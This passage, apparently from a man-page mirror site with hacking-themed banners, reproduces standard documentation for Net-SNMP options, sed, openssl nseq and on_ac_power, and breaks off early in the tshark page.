Set the context engineID used for SNMPv3 REQUEST messages scopedPdu, given as a hexadecimal string. If not specified, this will default to the authoritative engineID.

-u* secName*
Set the securityName used for authenticated SNMPv3 messages. Overrides the defSecurityName token in the snmp.conf file.

-x* privProtocol*
Set the privacy protocol (DES or AES) used for encrypted SNMPv3 messages. Overrides the defPrivType token in the snmp.conf file. This option is only valid if the Net-SNMP software was build to use OpenSSL.

-X* privPassword*
Set the privacy pass phrase used for encrypted SNMPv3 messages. Overrides the defPrivPassphrase token in the snmp.conf file. It is insecure to specify pass phrases on the command line, see snmp.conf(5).

-Z* boots,time*
Set the engineBoots and engineTime used for authenticated SNMPv3 messages. This will initialize the local notion of the agents boots/time with an authenticated value stored in the LCD. It is typically not necessary to specify this option, as these values will usually be discovered automatically.

SNMPv1 and SNMPv2c Options

-c* community*
Set the community string for SNMPv1/v2c transactions. Overrides the defCommunity token in the snmp.conf file.

AGENT SPECIFICATION

The string AGENT in the SYNOPSIS above specifies the remote SNMP entity with which to communicate. This specification takes the form:

[<transport-specifier>:]<transport-address>

At its simplest, the AGENT specification may consist of a hostname, or an IPv4 address in the standard “dotted quad” notation. In this case, communication will be attempted using UDP/IPv4 to port 161 of the given host. Otherwise, the <transport-address> part of the specification is parsed according to the following table:

<transport-specifier>
<transport-address> format

udp
hostname[:port] or IPv4-address[:port]

tcp
hostname[:port] or IPv4-address[:port]

unix
pathname

ipx
[network]:node[/port]

aal5pvc or pvc
[interface.][VPI.]VCI

udp6 or udpv6 or udpipv6
hostname[:port] or IPv6-address:port or ‘[‘IPv6-address’]’[:port]

tcp6 or tcpv6 or tcpipv6
hostname[:port] or IPv6-address:port or ‘[‘IPv6-address’]’[:port]

Note that <transport-specifier> strings are case-insensitive so that, for example, “tcp” and “TCP” are equivalent. Here are some examples, along with their interpretation:

hostname:161
perform query using UDP/IPv4 datagrams to hostname on port 161. The “:161” is redundant here since that is the default SNMP port in any case.

udp:hostname
identical to the previous specification. The “udp:” is redundant here since UDP/IPv4 is the default transport.

TCP:hostname:1161
connect to hostname on port 1161 using TCP/IPv4 and perform query over that connection. udp6:hostname:10161 perform the query using UDP/IPv6 datagrams to port 10161 on hostname (which will be looked up as an AAAA record).

UDP6:[fe80::2d0:b7ff:fe21:c6c0]
perform the query using UDP/IPv6 datagrams to port 161 at address fe80::2d0:b7ff:fe21:c6c0.

tcpipv6:[::1]:1611
connect to port 1611 on the local host (::1 in IPv6 parlance) using TCP/IPv6 and perform query over that connection.

tls:hostname:10161
dtls:hostname:10161
Connects using SNMP over DTLS or TLS as documented by the ISMS working group (RFCs not yet published as of this date). This will require (and automatically ensures) that the TSM security model is in use. You’ll also need to set up trust paths for the certificates presented by the server (see above for descriptions of this).

ssh:hostname:22
Connects using SNMP over SSH as documented by the ISMS working group (RFCs not yet published as of this date). This will require that the TSM security model is in use (–defSecurityModel=tsm).

ipx::00D0B7AAE308
perform query using IPX datagrams to node number 00D0B7AAE308 on the default network, and using the default IPX port of 36879 (900F hexadecimal), as suggested in RFC 1906.

ipx:0AE43409:00D0B721C6C0/1161
perform query using IPX datagrams to port 1161 on node number 00D0B721C6C0 on network number 0AE43409.

unix:/tmp/local-agent
connect to the Unix domain socket /tmp/local-agent, and perform the query over that connection.

/tmp/local-agent
identical to the previous specification, since the Unix domain is the default transport iff the first character of the <transport-address> is a ‘/’.

alias:myname
perform a connection to the myname alias which needs to be defined in the snmp.conf file using a line like " alias myname udp:127.0.0.1:9161 “. Any type of transport definition can be used as the alias expansion parameter. Aliases are particularly useful for using repeated complex transport strings.

AAL5PVC:100
perform the query using AAL5 PDUs sent on the permanent virtual circuit with VPI=0 and VCI=100 (decimal) on the first ATM adapter in the machine.

PVC:1.10.32
perform the query using AAL5 PDUs sent on the permanent virtual circuit with VPI=10 (decimal) and VCI=32 (decimal) on the second ATM adapter in the machine. Note that “PVC” is a synonym for “AAL5PVC”.

Note that not all the transport domains listed above will always be available; for instance, hosts with no IPv6 support will not be able to use udp6 transport addresses, and attempts to do so will result in the error “Unknown host”. Likewise, since AAL5 PVC support is only currently available on Linux, it will fail with the same error on other platforms.

MIB PARSING OPTIONS

The Net-SNMP MIB parser mostly adheres to the Structure of Management Information (SMI). As that specification has changed through time, and in recognition of the (ahem) diversity in compliance expressed in MIB files, additional options provide more flexibility in reading MIB files.

-Pc
Toggles whether ASN.1 comments should extend to the end of the MIB source line. Strictly speaking, a second appearance of “–” should terminate the comment, but this breaks some MIB files. The default behaviour (to interpret comments correctly) can also be set with the configuration token commentToEOL.

-Pd
Disables the loading of MIB object DESCRIPTIONs when parsing MIB files. This reduces the amount of memory used by the running application.

-Pe
Toggles whether to show errors encountered when parsing MIB files. These include references to IMPORTed modules and MIB objects that cannot be located in the MIB directory search list. The default behaviour can also be set with the configuration token showMibErrors.

-PR
If the same MIB object (parent name and sub-identifier) appears multiple times in the list of MIB definitions loaded, use the last version to be read in. By default, the first version will be used, and any duplicates discarded. This behaviour can also be set with the configuration token mibReplaceWithLatest.

Such ordering is normally only relevant if there are two MIB files with conflicting object definitions for the same OID (or different revisions of the same basic MIB object).

-Pu
Toggles whether to allow the underline character in MIB object names and other symbols. Strictly speaking, this is not valid SMI syntax, but some vendor MIB files define such names. The default behaviour can also be set with the configuration token mibAllowUnderline.

-Pw
Show various warning messages in parsing MIB files and building the overall OID tree. This can also be set with the configuration directive mibWarningLevel 1

-PW
Show some additional warning messages, mostly relating to parsing individual MIB objects. This can also be set with the configuration directive mibWarningLevel 2

OUTPUT OPTIONS

The format of the output from SNMP commands can be controlled using various parameters of the -O flag. The effects of these sub-options can be seen by comparison with the following default output (unless otherwise specified):

$ snmpget -c public -v 1 localhost sysUpTime.0 SNMPv2-MIB::sysUpTime.0 = Timeticks: (14096763) 1 day, 15:09:27.63

-Oa
Display string values as ASCII strings (unless there is a DISPLAY-HINT defined for the corresponding MIB object). By default, the library attempts to determine whether the value is a printable or binary string, and displays it accordingly.

This option does not affect objects that do have a Display Hint.

-Ob
Display table indexes numerically, rather than trying to interpret the instance subidentifiers as string or OID values:

    $ snmpgetnext -c public -v 1 localhost vacmSecurityModel
    SNMP-VIEW-BASED-ACM-MIB::vacmSecurityModel.0."wes" = xxx
    $ snmpgetnext -c public -v 1 -Ob localhost vacmSecurityModel
    SNMP-VIEW-BASED-ACM-MIB::vacmSecurityModel.0.3.119.101.115 = xxx

-Oe
Removes the symbolic labels from enumeration values:

    $ snmpget -c public -v 1 localhost ipForwarding.0
    IP-MIB::ipForwarding.0 = INTEGER: forwarding(1)
    $ snmpget -c public -v 1 -Oe localhost ipForwarding.0
    IP-MIB::ipForwarding.0 = INTEGER: 1

-OE
Modifies index strings to escape the quote characters:

    $ snmpgetnext -c public -v 1 localhost vacmSecurityModel
    SNMP-VIEW-BASED-ACM-MIB::vacmSecurityModel.0."wes" = xxx
    $ snmpgetnext -c public -v 1 -OE localhost vacmSecurityModel
    SNMP-VIEW-BASED-ACM-MIB::vacmSecurityModel.0.\"wes\" = xxx

This allows the output to be reused in shell commands.

-Of
Include the full list of MIB objects when displaying an OID:

.iso.org.dod.internet.mgmt.mib-2.system.sysUpTime.0 =

Timeticks: (14096763) 1 day, 15:09:27.63

-On
Displays the OID numerically:
.1.3.6.1.2.1.1.3.0 = Timeticks: (14096763) 1 day, 15:09:27.63

-Op PRECISION
Uses the PRECISION string to allow modification of the value output format. This is used with OPAQUE float/double at the moment, but might be usabe for other types in the future. Allowed PRECISION strings are compatible to the flag/field with/precision part of the printf(3) function:
$ snmpget localhost outputVoltage.1 WIENER-CRATE-MIB::outputVoltage.u0 = Opaque: Float: 0.000000 V $ snmpget -Op +020.12 localhost outputVoltage.1 WIENER-CRATE-MIB::outputVoltage.u0 = Opaque: Float: +000000.000000000000 V

-Oq
Removes the equal sign and type information when displaying varbind values:
SNMPv2-MIB::sysUpTime.0 1:15:09:27.63

-OQ
Removes the type information when displaying varbind values:
SNMPv2-MIB::sysUpTime.0 = 1:15:09:27.63

-Os
Display the MIB object name (plus any instance or other subidentifiers):
sysUpTime.0 = Timeticks: (14096763) 1 day, 15:09:27.63

-OS
Display the name of the MIB, as well as the object name:
SNMPv2-MIB::sysUpTime.0 = Timeticks: (14096763) 1 day, 15:09:27.63

This is the default OID output format.

-Ot
Display TimeTicks values as raw numbers:
SNMPv2-MIB::sysUpTime.0 = 14096763

-OT
If values are printed as Hex strings, display a printable version as well.

-Ou
Display the OID in the traditional UCD-style (inherited from the original CMU code). That means removing a series of “standard” prefixes from the OID, and displaying the remaining list of MIB object names (plus any other subidentifiers):
system.sysUpTime.0 = Timeticks: (14096763) 1 day, 15:09:27.63

-OU
Do not print the UNITS suffix at the end of the value.

-Ov
Display the varbind value only, not the OID:

    $ snmpget -c public -v 1 -Ov localhost ipForwarding.0
    INTEGER: forwarding(1)

-Ox
Display string values as Hex strings (unless there is a DISPLAY-HINT defined for the corresponding MIB object). By default, the library attempts to determine whether the value is a printable or binary string, and displays it accordingly.

This option does not affect objects that do have a Display Hint.

-OX
Display table indexes in a more “program like” output, imitating a traditional array-style index format:

    $ snmpgetnext -c public -v 1 localhost ipv6RouteTable
    IPv6-MIB::ipv6RouteIfIndex.63.254.1.0.255.0.0.0.0.0.0.0.0.0.0.0.64.1 = INTEGER: 2
    $ snmpgetnext -c public -v 1 -OX localhost ipv6RouteTable
    IPv6-MIB::ipv6RouteIfIndex[3ffe:100:ff00:0:0:0:0:0][64][1] = INTEGER: 2

Most of these options can also be configured via configuration tokens. See the snmp.conf(5) manual page for details.

LOGGING OPTIONS

The mechanism and destination to use for logging of warning and error messages can be controlled by passing various parameters to the -L flag.

-Ln
Disable all logging.

-Le
Log messages to the standard error stream.

-Lf FILE
Log messages to the specified file.

-Lo
Log messages to the standard output stream.

-Ls FACILITY
Log messages via syslog, using the specified facility (’d’ for LOG_DAEMON, ‘u’ for LOG_USER, or ‘0’-‘7’ for LOG_LOCAL0 through LOG_LOCAL7).

There are also “upper case” versions of each of these options, which allow the corresponding logging mechanism to be restricted to certain priorities of message. Using standard error logging as an example:

-LE pri
will log messages of priority ‘pri’ and above to standard error. See below for possible ‘pri’ values-

-LE pri1-pri2
will log messages with priority between ‘pri1’ and ‘pri2’ (inclusive) to standard error.

For -LF and -LS the priority specification comes before the file or facility token.

The priorities recognised are:

0 or ! for LOG_EMERG,
1 or a for LOG_ALERT,
2 or c for LOG_CRIT,
3 or e for LOG_ERR,
4 or w for LOG_WARNING,
5 or n for LOG_NOTICE,
6 or i for LOG_INFO, and
7 or d for LOG_DEBUG.

Normal output is (or will be!) logged at a priority level of LOG_NOTICE

INPUT OPTIONS

The interpretation of input object names and the values to be assigned can be controlled using various parameters of the -I flag. The default behaviour will be described at the end of this section.

-Ib
specifies that the given name should be regarded as a regular expression, to match (case-insensitively) against object names in the MIB tree. The “best” match will be used - calculated as the one that matches the closest to the beginning of the node name and the highest in the tree. For example, the MIB object vacmSecurityModel could be matched by the expression vacmsecuritymodel (full name, but different case), or vacm.*model (regexp pattern).

Note that ‘.’ is a special character in regular expression patterns, so the expression cannot specify instance subidentifiers or more than one object name. A “best match” expression will only be applied against single MIB object names. For example, the expression sys*ontact.0 would not match the instance sysContact.0 (although sys*ontact would match sysContact). Similarly, specifying a MIB module name will not succeed (so SNMPv2-MIB::sys.*ontact would not match either).

-Ih
disables the use of DISPLAY-HINT information when assigning values. This would then require providing the raw value:
snmpset ... HOST-RESOURCES-MIB::hrSystemDate.0
x “07 D2 0C 0A 02 04 06 08”
instead of a formatted version:
snmpset ... HOST-RESOURCES-MIB::hrSystemDate.0
= 2002-12-10,2:4:6.8

-Ir
disables checking table indexes and the value to be assigned against the relevant MIB definitions. This will (hopefully) result in the remote agent reporting an invalid request, rather than checking (and rejecting) this before it is sent to the remote agent. Local checks are more efficient (and the diagnostics provided also tend to be more precise), but disabling this behaviour is particularly useful when testing the remote agent.

-IR
enables “random access” lookup of MIB names. Rather than providing a full OID path to the desired MIB object (or qualifying this object with an explicit MIB module name), the MIB tree will be searched for the matching object name. Thus .iso.org.dod.internet.mib-2.system.sysDescr.0 (or SNMPv2-MIB::sysDescr.0) can be specified simply as sysDescr.0.

Warning:
Since MIB object names are not globally unique, this approach may return a different MIB object depending on which MIB files have been loaded.

The MIB-MODULE::objectName syntax has the advantage of uniquely identifying a particular MIB object, as well as being slightly more efficient (and automatically loading the necessary MIB file if necessary).

-Is SUFFIX
adds the specified suffix to each textual OID given on the command line. This can be used to retrieve multiple objects from the same row of a table, by specifying a common index value.

-IS PREFIX
adds the specified prefix to each textual OID given on the command line. This can be used to specify an explicit MIB module name for all objects being retrieved (or for incurably lazy typists).

-Iu
enables the traditional UCD-style approach to interpreting input OIDs. This assumes that OIDs are rooted at the ‘mib-2’ point in the tree (unless they start with an explicit ‘.’ or include a MIB module name). So the sysDescr instance above would be referenced as system.sysDescr.0.

Object names specified with a leading ‘.’ are always interpreted as “fully qualified” OIDs, listing the sequence of MIB objects from the root of the MIB tree. Such objects and those qualified by an explicit MIB module name are unaffected by the -Ib, -IR and -Iu flags.

Otherwise, if none of the above input options are specified, the default behaviour for a “relative” OID is to try and interpret it as an (implicitly) fully qualified OID, then apply “random access” lookup (-IR), followed by “best match” pattern matching (-Ib).

ENVIRONMENT VARIABLES

PREFIX
The standard prefix for object identifiers (when using UCD-style output). Defaults to .iso.org.dod.internet.mgmt.mib-2

MIBS
The list of MIBs to load. Defaults to

SNMPv2-TC:SNMPv2-MIB:IF-MIB:IP-MIB:TCP-MIB:UDP-MIB:SNMP-VACM-MIB.

Overridden by the -m option.

MIBDIRS
The list of directories to search for MIBs. Defaults to /usr/share/snmp/mibs. Overridden by the -M option.

FILES

/etc/snmp/snmpd.conf
Agent configuration file. See snmpd.conf(5).

/etc/snmp/snmp.conf

~/.snmp/snmp.conf
Application configuration files. See snmp.conf(5).

SEE ALSO

snmpget(1), snmpgetnext(1), snmpset(1), snmpbulkget(1), snmpbulkwalk(1), snmpwalk(1), snmptable(1), snmpnetstat(1), snmpdelta(1), snmptrap(1), snmpinform(1), snmpusm(1), snmpstatus(1), snmptest(1), snmp.conf(5).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1605 - Linux cli command sed

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command sed and provides detailed information about the command sed, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the sed.

NAME 🖥️ sed 🖥️

stream editor for filtering and transforming text

SYNOPSIS

sed [-V] [--version] [--help] [-n] [--quiet] [--silent]
    [-l N] [--line-length=N] [-u] [--unbuffered]
    [-E] [-r] [--regexp-extended]
    [-e script] [--expression=script]
    [-f script-file] [--file=script-file]
    [script-if-no-other-script]
    [file...]

DESCRIPTION

Sed is a stream editor. A stream editor is used to perform basic text transformations on an input stream (a file or input from a pipeline). While in some ways similar to an editor which permits scripted edits (such as ed), sed works by making only one pass over the input(s), and is consequently more efficient. But it is sed’s ability to filter text in a pipeline which particularly distinguishes it from other types of editors.

-n, –quiet, –silent

suppress automatic printing of pattern space

–debug

annotate program execution

-e script, –expression=script

add the script to the commands to be executed

-f script-file, –file=script-file

add the contents of script-file to the commands to be executed

–follow-symlinks

follow symlinks when processing in place

-i[SUFFIX], –in-place[=SUFFIX]

edit files in place (makes backup if SUFFIX supplied)

-l N, –line-length=N

specify the desired line-wrap length for the `l’ command

–posix

disable all GNU extensions.

-E, -r, –regexp-extended

use extended regular expressions in the script (for portability use POSIX -E).

-s, –separate

consider files as separate rather than as a single, continuous long stream.

–sandbox

operate in sandbox mode (disable e/r/w commands).

-u, –unbuffered

load minimal amounts of data from the input files and flush the output buffers more often

-z, –null-data

separate lines by NUL characters

–help
display this help and exit

–version
output version information and exit

If no -e, –expression, -f, or –file option is given, then the first non-option argument is taken as the sed script to interpret. All remaining arguments are names of input files; if no input files are specified, then the standard input is read.

GNU sed home page: <https://www.gnu.org/software/sed/>. General help using GNU software: <https://www.gnu.org/gethelp/>. E-mail bug reports to: <[email protected]>.

Packaged by Debian Copyright © 2022 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>. This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law.

COMMAND SYNOPSIS

This is just a brief synopsis of sed commands to serve as a reminder to those who already know sed; other documentation (such as the texinfo document) must be consulted for fuller descriptions.

Zero-address ``commands''

: label
Label for b and t commands.

#comment
The comment extends until the next newline (or the end of a -e script fragment).

}
The closing bracket of a { } block.

Zero- or One- address commands

=
Print the current line number.

a \
text
Append text, which has each embedded newline preceded by a backslash.

i \
text
Insert text, which has each embedded newline preceded by a backslash.

q [exit-code]
Immediately quit the sed script without processing any more input, except that if auto-print is not disabled the current pattern space will be printed. The exit code argument is a GNU extension.

Q [exit-code]
Immediately quit the sed script without processing any more input. This is a GNU extension.

r filename
Append text read from filename.

R filename
Append a line read from filename. Each invocation of the command reads a line from the file. This is a GNU extension.

Commands which accept address ranges

{
Begin a block of commands (end with a }).

b label
Branch to label; if label is omitted, branch to end of script.

c \
text
Replace the selected lines with text, which has each embedded newline preceded by a backslash.

d
Delete pattern space. Start next cycle.

D
If pattern space contains no newline, start a normal new cycle as if the d command was issued. Otherwise, delete text in the pattern space up to the first newline, and restart cycle with the resultant pattern space, without reading a new line of input.

h H
Copy/append pattern space to hold space.

g G
Copy/append hold space to pattern space.

l
List out the current line in a ``visually unambiguous’’ form.

l width
List out the current line in a ``visually unambiguous’’ form, breaking it at width characters. This is a GNU extension.

n N
Read/append the next line of input into the pattern space.

p
Print the current pattern space.

P
Print up to the first embedded newline of the current pattern space.

s/regexp/replacement/
Attempt to match regexp against the pattern space. If successful, replace that portion matched with replacement. The replacement may contain the special character & to refer to that portion of the pattern space which matched, and the special escapes \1 through \9 to refer to the corresponding matching sub-expressions in the regexp.

t label
If a s/// has done a successful substitution since the last input line was read and since the last t or T command, then branch to label; if label is omitted, branch to end of script.

T label
If no s/// has done a successful substitution since the last input line was read and since the last t or T command, then branch to label; if label is omitted, branch to end of script. This is a GNU extension.

w filename
Write the current pattern space to filename.

W filename
Write the first line of the current pattern space to filename. This is a GNU extension.

x
Exchange the contents of the hold and pattern spaces.

y/source/dest/
Transliterate the characters in the pattern space which appear in source to the corresponding character in dest.

Addresses

Sed commands can be given with no addresses, in which case the command will be executed for all input lines; with one address, in which case the command will only be executed for input lines which match that address; or with two addresses, in which case the command will be executed for all input lines which match the inclusive range of lines starting from the first address and continuing to the second address. Three things to note about address ranges: the syntax is addr1,addr2 (i.e., the addresses are separated by a comma); the line which addr1 matched will always be accepted, even if addr2 selects an earlier line; and if addr2 is a regexp, it will not be tested against the line that addr1 matched.

After the address (or address-range), and before the command, a ! may be inserted, which specifies that the command shall only be executed if the address (or address-range) does not match.

The following address types are supported:

number
Match only the specified line number (which increments cumulatively across files, unless the -s option is specified on the command line).

firststep
Match every step’th line starting with line first. For example, ``sed -n 1
2p’’ will print all the odd-numbered lines in the input stream, and the address 2~5 will match every fifth line, starting with the second. first can be zero; in this case, sed operates as if it were equal to step. (This is an extension.)

$
Match the last line.

/regexp/
Match lines matching the regular expression regexp. Matching is performed on the current pattern space, which can be modified with commands such as ``s///’'.

**

1606 - Linux cli command openssl-nseqssl

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command openssl-nseqssl and provides detailed information about the command openssl-nseqssl, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the openssl-nseqssl.

NAME 🖥️ openssl-nseqssl 🖥️

nseq - create or examine a Netscape certificate sequence

SYNOPSIS

openssl nseq [-help] [-in filename] [-out filename] [-toseq] [-provider name] [-provider-path path] [-propquery propq]

DESCRIPTION

This command takes a file containing a Netscape certificate sequence and prints out the certificates contained in it or takes a file of certificates and converts it into a Netscape certificate sequence.

A Netscape certificate sequence is an old Netscape-specific format that can be sometimes be sent to browsers as an alternative to the standard PKCS#7 format when several certificates are sent to the browser, for example during certificate enrollment. It was also used by Netscape certificate server.

OPTIONS

-help
Print out a usage message.

-in filename
This specifies the input filename to read or standard input if this option is not specified.

-out filename
Specifies the output filename or standard output by default.

-toseq
Normally a Netscape certificate sequence will be input and the output is the certificates contained in it. With the -toseq option the situation is reversed: a Netscape certificate sequence is created from a file of certificates.

-provider name

-provider-path path

-propquery propq

See “Provider Options” in openssl (1), provider (7), and property (7).

EXAMPLES

Output the certificates in a Netscape certificate sequence

openssl nseq -in nseq.pem -out certs.pem

Create a Netscape certificate sequence

openssl nseq -in certs.pem -toseq -out nseq.pem

COPYRIGHT

Copyright 2000-2020 The OpenSSL Project Authors. All Rights Reserved.

Licensed under the Apache License 2.0 (the “License”). You may not use this file except in compliance with the License. You can obtain a copy in the file LICENSE in the source distribution or at <https://www.openssl.org/source/license.html>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1607 - Linux cli command on_ac_power

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command on_ac_power and provides detailed information about the command on_ac_power, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the on_ac_power.

NAME 🖥️ on_ac_power 🖥️

test whether computer is running on AC power

SYNOPSIS

on_ac_power

DESCRIPTION

on_ac_power checks whether the system is running on abundant power (such as AC mains, an USB charger, etc), as opposed to battery power.

OPTIONS

None.

EXIT STATUS

0 (true)	System is on mains power
1 (false)	System is not on mains power
255 (false)	Power status could not be determined

CAVEATS

The vast majority of desktops and servers have no power sensors, thus they return 255 “unknown”; for most purposes you’d want to consider this answer to imply mains power — note that 255 evaluates as false for the shell.

This program currently provides only information known to the kernel; it doesn’t (yet?) query userspace daemons such as nut which may provide further information.

AUTHOR

This manual page was written by Steve Dodd <[email protected]>, was updated by Thomas Hood then by Adam Borowski.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1608 - Linux cli command tshark

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command tshark and provides detailed information about the command tshark, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the tshark.

NAME 🖥️ tshark 🖥️

Dump and analyze network traffic

SYNOPSIS

tshark-i <capture interface>|- ] [ -f <capture filter> ] [ -2 ] [ -r <infile> ] [ -w <outfile>|- ] [ options ] [ <filter> ]

tshark -G [ <report type> ] [ –elastic-mapping-filter <protocols> ]

tshark -h|–help

tshark -v|–version

DESCRIPTION

TShark is a network protocol analyzer. It lets you capture packet data from a live network, or read packets from a previously saved capture file, either printing a decoded form of those packets to the standard output or writing the packets to a file. TSharks native capture file format is pcapng format, which is also the format used by Wireshark and various other tools.

Without any options set, TShark will work much like tcpdump. It will use the pcap library to capture traffic from the first available network interface and displays a summary line on the standard output for each received packet.

When run with the -r option, specifying a capture file from which to read, TShark will again work much like tcpdump, reading packets from the file and displaying a summary line on the standard output for each packet read. TShark is able to detect, read and write the same capture files that are supported by Wireshark. The input file doesn’t need a specific filename extension; the file format and an optional gzip, zstd or lz4 compression will be automatically detected. Near the beginning of the DESCRIPTION section of wireshark(1) or <https://www.wireshark.org/docs/man-pages/wireshark.html> is a detailed description of the way Wireshark handles this, which is the same way TShark handles this.

Compressed file support uses (and therefore requires) the zlib library. If the zlib library is not present when compiling TShark, it will be possible to compile it, but the resulting program will be unable to read compressed files.

When displaying packets on the standard output, TShark writes, by default, a summary line containing the fields specified by the preferences file (which are also the fields displayed in the packet list pane in Wireshark), although if it’s writing packets as it captures them, rather than writing packets from a saved capture file, it won’t show the “frame number” field. If the -V option is specified, it instead writes a view of the details of the packet, showing all the fields of all protocols in the packet. If the -O option is specified, it will only show the full details for the protocols specified, and show only the top-level detail line for all other protocols. Use the output of “tshark -G protocols” to find the abbreviations of the protocols you can specify. If the -P option is specified with either the -V or -O options, both the summary line for the entire packet and the details will be displayed.

Packet capturing is performed with the pcap library. That library supports specifying a filter expression; packets that don’t match that filter are discarded. The -f option is used to specify a capture filter. The syntax of a capture filter is defined by the pcap library; this syntax is different from the display filter syntax described below, and the filtering mechanism is limited in its abilities.

Display filters in TShark, which allow you to select which packets are to be decoded or written to a file, are very powerful; more fields are filterable in TShark than in other protocol analyzers, and the syntax you can use to create your filters is richer. As TShark progresses, expect more and more protocol fields to be allowed in display filters. Display filters use the same syntax as display and color filters in Wireshark; a display filter is specified with the -Y option.

Display filters can be specified when capturing or when reading from a capture file. Note that capture filters are much more efficient than display filters, and it may be more difficult for TShark to keep up with a busy network if a display filter is specified for a live capture, so you might be more likely to lose packets if you’re using a display filter.

A capture or display filter can either be specified with the -f or -Y option, respectively, in which case the entire filter expression must be specified as a single argument (which means that if it contains spaces, it must be quoted), or can be specified with command-line arguments after the option arguments, in which case all the arguments after the filter arguments are treated as a filter expression. If the filter is specified with command-line arguments after the option arguments, it’s a capture filter if a capture is being done (i.e., if no -r option was specified) and a display filter if a capture file is being read (i.e., if a -r option was specified).

If the -w option is specified when capturing packets or reading from a capture file, TShark does not display packets on the standard output. Instead, it writes the packets to a capture file with the name specified by the -w option. Note that display filters are currently not supported when capturing and saving the captured packets.

If you want to write the decoded form of packets to a file, run TShark without the -w option, and redirect its standard output to the file (do not use the -w option).

If you want the packets to be displayed to the standard output and also saved to a file, specify the -P option in addition to the -w option to have the summary line displayed, specify the -V option in addition to the -w option to have the details of the packet displayed, and specify the -O option, with a list of protocols, to have the full details of the specified protocols and the top-level detail line for all other protocols to be displayed. If the -P option is used together with the -V or -O option, the summary line will be displayed along with the detail lines.

When writing packets to a file, TShark, by default, writes the file in pcapng format, and writes all of the packets it sees to the output file. The -F option can be used to specify the format in which to write the file. This list of available file formats is displayed by the -F option without a value. However, you can’t specify a file format for a live capture.

When capturing packets, TShark writes to the standard error an initial line listing the interfaces from which packets are being captured and, if packet information isn’t being displayed to the terminal, writes a continuous count of packets captured to the standard output. If the -q option is specified, neither the continuous count nor the packet information will be displayed; instead, at the end of the capture, a count of packets captured will be displayed. If the -Q option is specified, neither the initial line, nor the packet information, nor any packet counts will be displayed. If the -q or -Q option is used, the -P, -V, or -O option can be used to cause the corresponding output to be displayed even though other output is suppressed.

When reading packets, the -q and -Q option will suppress the display of the packet summary or details; this would be used if -z options are specified in order to display statistics, so that only the statistics, not the packet information, is displayed.

The -G option is a special mode that simply causes TShark to dump one of several types of internal glossaries and then exit.

OPTIONS

-2

Perform a two-pass analysis. This causes TShark to buffer output until the entire first pass is done, but allows it to fill in fields that require future knowledge, such as response in frame # fields. Also permits reassembly frame dependencies to be calculated correctly.

-a|–autostop <capture autostop condition>

Specify a criterion that specifies when TShark is to stop writing to a capture file. The criterion is of the form test:value, where test is one of:

